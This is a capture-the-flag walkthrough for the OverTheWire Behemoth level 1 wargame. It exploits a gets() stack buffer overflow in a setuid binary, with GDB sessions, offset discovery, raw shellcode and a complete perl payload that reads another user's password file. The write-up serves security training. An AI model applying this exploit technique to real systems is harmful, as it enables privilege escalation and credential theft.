Site: http://overthewire.org/wargames/behemoth/
Level: 1
Situation: Simple Buffer Overflow
Note: The stack is affected by varying things including the environment.
The memory addresses in GDB will differ from what you see without. Now to correct this we will use a small script called invoker.sh which will help standardize our environments.
#!/bin/sh
while getopts "dte:h?" opt ; do
case "$opt" in
h|\?)
printf "usage: %s -e KEY=VALUE prog [args...]\n" $(basename $0)
exit 0
;;
t)
tty=1
gdb=1
;;
d)
gdb=1
;;
e)
env=$OPTARG
;;
esac
done
shift $(expr $OPTIND - 1)
prog=$(readlink -f $1)
shift
if [ -n "$gdb" ] ; then
if [ -n "$tty" ]; then
touch /tmp/gdb-debug-pty
exec env - $env TERM=screen PWD=$PWD gdb -tty /tmp/gdb-debug-pty --args
$prog "$@"
else
exec env - $env TERM=screen PWD=$PWD gdb --args $prog "$@"
fi
else
exec env - $env TERM=screen PWD=$PWD $prog "$@"
fi
Please note in GDB we still will have to unset the following two environmental variables inside GDB.
unset env LINES
unset env COLUMNS
We will also be utilizing a small c program to help us determine the size of our shellcode.
// Shellcalc.c
#include <stdio.h>
char shellcode[] ="shellcodehere";
int main(int argc, char *argv[])
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
}
For our sake let us make a folder in our temp directory and move our invoker.sh and small c program.
behemoth1@melinda:~$ ls
behemoth1@melinda:~$ mkdir /tmp/behe1
behemoth1@melinda:~$ cd /tmp/behe1
behemoth1@melinda:/tmp/behe1$
We will do the usual, identify the file type and build, also run it to see what it does.
behemoth1@melinda:/tmp/behe1$ file /behemoth/behemoth1
/behemoth/behemoth1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6b301db8057be8df8ceead844e81f05764289f92, not stripped
behemoth1@melinda:/tmp/behe1$ ./invoker.sh /behemoth/behemoth1
Password: d
Authentication failure.
Sorry.
Open in GDB see if there are any interesting calls.
behemoth1@melinda:/tmp/behe1$ ./invoker.sh -d /behemoth/behemoth1
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x0804845d <+0>: push ebp
0x0804845e <+1>: mov ebp,esp
0x08048460 <+3>: and esp,0xfffffff0
0x08048463 <+6>: sub esp,0x60
0x08048466 <+9>: mov DWORD PTR [esp],0x8048530
0x0804846d <+16>: call 0x8048310 <printf@plt>
0x08048472 <+21>: lea eax,[esp+0x1d]
0x08048476 <+25>: mov DWORD PTR [esp],eax
0x08048479 <+28>: call 0x8048320 <gets@plt>
0x0804847e <+33>: mov DWORD PTR [esp],0x804853c
0x08048485 <+40>: call 0x8048330 <puts@plt>
0x0804848a <+45>: mov eax,0x0
0x0804848f <+50>: leave
0x08048490 <+51>: ret
End of assembler dump.
No easy strcmp, the printf would be interesting if it was displaying input we supplied, could test for a string format vulnerability. There is a “gets” however. Gets grabs user input and stores it into a buffer array. Since its storing input we dictate. We can attempt to overflow the buffer that it stores the input into.
(gdb) run
Starting program: /games/behemoth/behemoth1
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Authentication failure.
Sorry.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Alright so looks like we are successfully overflowing the buffer. If we notice we get two signs saying it did. First one is the segfault the second is the address that is segfaulted on 0x41414141. A in hex is 41, so 4 byte address = AAAA = 0x41414141.
Now we need to find out exactly how big of a buffer we need in order to cause a crash. We could guess and randomly insert values but instead we will utilize metasploit’s pattern_create.rb tool and the pattern_offset.rb.
vagabond :: /opt/metasploit-framework » ./tools/pattern_create.rb 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
(gdb) run
Starting program: /games/behemoth/behemoth1
Password: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Authentication failure.
Sorry.
Program received signal SIGSEGV, Segmentation fault.
0x63413663 in ?? ()
vagabond :: /opt/metasploit-framework » ./tools/pattern_offset.rb 0x63413663
[*] Exact match at offset 79
So what we want to do is setup our shellcode inside the 79 byte buffer. This is a lot to work with. At the end of the 79 buffer we can add the new return address in the 4 bytes that follow.
Now before we can create the payload we must first find the start of our stack. This can easily be achieved utilizing the debugger and either “A” or nopsleds. For this example we will use “BBBBAAAA” combination. Using GDB we can locate BBBB in the stack which equates to 0x42424242. We break on the final puts before it says sorry.
(gdb) disassemble main
Dump of assembler code for function main:
0x0804845d <+0>: push %ebp
0x0804845e <+1>: mov %esp,%ebp
0x08048460 <+3>: and $0xfffffff0,%esp
0x08048463 <+6>: sub $0x60,%esp
0x08048466 <+9>: movl $0x8048530,(%esp)
0x0804846d <+16>: call 0x8048310 <printf@plt>
0x08048472 <+21>: lea 0x1d(%esp),%eax
0x08048476 <+25>: mov %eax,(%esp)
0x08048479 <+28>: call 0x8048320 <gets@plt>
0x0804847e <+33>: movl $0x804853c,(%esp)
0x08048485 <+40>: call 0x8048330 <puts@plt>
0x0804848a <+45>: mov $0x0,%eax
0x0804848f <+50>: leave
0x08048490 <+51>: ret
End of assembler dump.
(gdb) break *0x08048485
Breakpoint 1 at 0x8048485
(gdb) run
Starting program: /games/behemoth/behemoth1
Password: BBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048632 in main ()
(gdb) find $esp, $esp+500, 0x42424242
0xffffdded
1 pattern found.
(gdb)
0xffffdded is the start of our address so we can begin to form our payload. Our payload is going to be structured as follows.
NOP<>SHELLCODE+NOP<>STACKADDRESS
Note: The shellcode used in this example is from another example that cats a file rather then spawns a shell. File is located in /tmp/b2p.
behemoth1@melinda:/tmp/behe1$ ln -s /etc/behemoth_pass/behemoth2 /tmp/b2p
Now we need the shellcode and to know the size of it so we utilize our shellcalc application.
\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80
The size of this is 40 bytes. So now we just need to pad the front and back to make our payload. To make it easy on us we will output this to a file called input.txt. That way the bash shell can’t affect the values.
Note: We put the address in backwards as we are on a little endian machine.
perl -e 'print "\x90"x4 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80" . "\x90"x35 . "\xed\xdd\xff\xff"'> input.txt
Now that we have the proper input.txt we can verify that it works in GDB.
(gdb) run < input.txt
Starting program: /games/behemoth/behemoth1 < input.txt
Password: Authentication failure.
Sorry.
process 11828 is executing new program: /bin/cat
/bin/cat: /tmp/b2p: Permission denied
[Inferior 1 (process 11828) exited with code 01]
(gdb) quit
Perfect we see that /bin/cat was called on /tmp/b2p but we don’t have permission to read it. This is normal behavior under debuggers and is a countermeasure to help insure that people don’t just modify any application that has escalated privileges. To get it to work we have to do it in user space.
behemoth1@melinda:/tmp/behe1$ ./invoker.sh /behemoth/behemoth1 < input.txt
Password: Authentication failure.
Sorry.
[OMITTED]
Thats it we have found the password.